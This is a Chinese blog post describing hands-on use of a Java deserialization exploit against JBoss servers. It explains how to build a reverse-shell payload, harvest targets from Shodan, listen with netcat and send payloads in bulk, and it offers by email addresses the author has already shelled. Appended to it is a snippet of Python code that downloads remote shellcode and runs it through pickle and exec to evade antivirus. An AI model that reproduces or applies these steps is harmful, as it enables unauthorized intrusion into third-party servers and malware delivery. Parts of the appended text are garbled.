java反序列化 exp_java反序列化exp实践

这两天很火的java反序列化漏洞,看到乌云大牛已经开始刷分,于是找来实践一波

exp来源

ysoserial

其中weblogic和jenkins提供python脚本,但需自己加载payload. 而对于jboss和websphere则提供了poc的数据包.

foxlovesec

iswin

http://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/ - 随风师傅分析漏洞原理,并基于foxglovesec提供的payload生成脚本,给出基于两种不同方法的改进版exp和poc,exp里调用了随风师傅的java版反弹shell方法,它的好处是不依赖操作系统环境,兼容win和linux,使反弹shell成功率和稳定性更高.

随后,随风师傅在zone.wooyun发帖教学exp的使用,并积极指点新手白帽子进行实践. http://zone.wooyun.org/content/23905

实践

资源打包

Java_payload 随风师傅给出的改良版exp和foxlove的项目代码

jbossexp.py 一个利用脚本,用于发包

kiss10500.bin/kiss10501.bin 我测试时生成的两个payload

shodan_data.xml 从shodan拿了一些JBOSS服务的主机IP

shodan_data.xml_sorted 整理后的url,用于批量poc

payload生成

用eclipse打开Java_payload项目,按如下路径找到main.java

07e0af656b7f441b32ccfe34fe9d1d5f.png

代码很清晰,找到ip和端口的地方,填入自己机器上用于接受反弹shell的**公网**ip和port.然后下面的路径是生成payload的保存地址.

92cb22257311b849992f3065cca6adf3.png

运行main.java不报错即可

到指定路径检查payload文件是否已经生成

确定目标

在shodan_data.xml列表里找几个网站,放到sebug的照妖镜里测试一下是否存在漏洞.

d1cd316837b02202383e6ca4965172d2.png

反弹shell

首先打开自己在公网接收shell的主机 使用以下命令监听端口,等待连接 nc -lv 10501

然后开启另一个命令行,使用python的发包脚本向目标机发送payload. 命令格式python jbossexp.py [url] [port] [payload]

随后公网主机会接收到反弹的shell,如下图.

d4018b9a304a6c686b69790053e7dac2.png

注意

并不是所有sebug验证出漏洞的地址都能顺利反弹shell,经个人测试,成功率在50%-60%左右,请多加尝试! 可以邮箱联系我索取已经验证成功并拿到shell的地址.

参考

天上繁b,乃前辈所装,虽历历在目,仍不可尽数.向大牛们学习!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
为了Python序列免杀执行代码,可以使用以下步骤: 1. 生成Python x64 shellcode,并将其放入payload.py文件中。 2. 对shellcode进行base64编码,并将其保存在服务器上的shellcode_bs64.txt文件中。 3. 编写shellcode.py文件,向服务器发送请求以读取payload.txt文件,对其进行序列并进行base64编码。 4. 编写exp.py文件进行序列,加载恶意shellcode。 5. 打包exe文件,以便绕过火绒、360等杀毒软件的检测。 以下是具体操作步骤: 1. 生成Python x64 shellcode,并将其放入payload.py文件中。 2. 对shellcode进行base64编码,并将其保存在服务器上的shellcode_bs64.txt文件中。 3. 编写shellcode.py文件,向服务器发送请求以读取payload.txt文件,对其进行序列并进行base64编码。 ```python import requests import base64 url = 'http://yourserver.com/shellcode_bs64.txt' response = requests.get(url) shellcode = response.content # 对shellcode进行序列并进行base64编码 serialized = base64.b64encode(pickle.dumps(shellcode)).decode('utf-8') ``` 4. 编写exp.py文件进行序列,加载恶意shellcode。 ```python import requests import base64 import pickle url = 'http://yourserver.com/shellcode.py' response = requests.get(url) serialized = response.content # 对序列的数据进行序列 data = pickle.loads(base64.b64decode(serialized)) # 加载恶意shellcode exec(data) ``` 5. 打包exe文件,以便绕过火绒、360等杀毒软件的检测。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值